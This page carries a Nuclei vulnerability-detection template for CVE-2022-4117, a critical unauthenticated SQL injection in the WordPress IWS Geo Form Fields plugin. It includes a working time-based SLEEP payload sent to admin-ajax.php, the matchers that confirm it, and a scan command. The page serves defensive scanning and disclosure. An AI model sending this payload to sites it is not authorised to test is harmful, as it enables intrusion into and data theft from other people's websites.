WordPress IWS Geo Form Fields <=1.0 - SQL Injection

ID: CVE-2022-4117

Severity: critical

Author: theamanrawat

Tags: time-based-sqli,cve,cve2022,sqli,wordpress,wp-plugin,wp,iws-geo-form-fields,wpscan,iws-geo-form-fields_project

Description

WordPress IWS Geo Form Fields plugin through 1.0 contains a SQL injection vulnerability. The plugin does not properly escape a parameter before using it in a SQL statement via an AJAX action available to unauthenticated users. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.

YAML Source

id: CVE-2022-4117

info:
  name: WordPress IWS Geo Form Fields <=1.0 - SQL Injection
  author: theamanrawat
  severity: critical
  description: |
    WordPress IWS Geo Form Fields plugin through 1.0 contains a SQL injection vulnerability. The plugin does not properly escape a parameter before using it in a SQL statement via an AJAX action available to unauthenticated users. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data leakage, or further compromise of the affected WordPress site.
  remediation: |
    Update to the latest version of the WordPress IWS Geo Form Fields plugin (>=1.1) or apply the vendor-supplied patch to mitigate the SQL Injection vulnerability.
  reference:
    - https://wpscan.com/vulnerability/1fac3eb4-13c0-442d-b27c-7b7736208193
    - https://wordpress.org/plugins/iws-geo-form-fields/
    - https://nvd.nist.gov/vuln/detail/CVE-2022-4117
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/cyllective/CVEs
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-4117
    cwe-id: CWE-89
    epss-score: 0.03413
    epss-percentile: 0.91452
    cpe: cpe:2.3:a:iws-geo-form-fields_project:iws-geo-form-fields:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: iws-geo-form-fields_project
    product: iws-geo-form-fields
    framework: wordpress
  tags: time-based-sqli,cve,cve2022,sqli,wordpress,wp-plugin,wp,iws-geo-form-fields,wpscan,iws-geo-form-fields_project

http:
  - raw:
      - |
        @timeout: 15s
        POST /wp-admin/admin-ajax.php?action=iws_gff_fetch_states HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        country_id=1%20AND%20(SELECT%2042%20FROM%20(SELECT(SLEEP(6)))b)

    matchers:
      - type: dsl
        dsl:
          - 'duration>=6'
          - 'status_code == 200'
          - 'contains(body, "\"status\":200") && contains(body, "{\"html\":")'
        condition: and
# digest: 490a00463044022069ab9f3df7d345eb8604edf091690ad13f5b7e53a2ebac19cb70c7b66abfdbee02206133fd03d80f8d7759d65749ce3c90440c6a9000ce5fd5150e9d8f3f3a837bfd:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2022/CVE-2022-4117.yaml"

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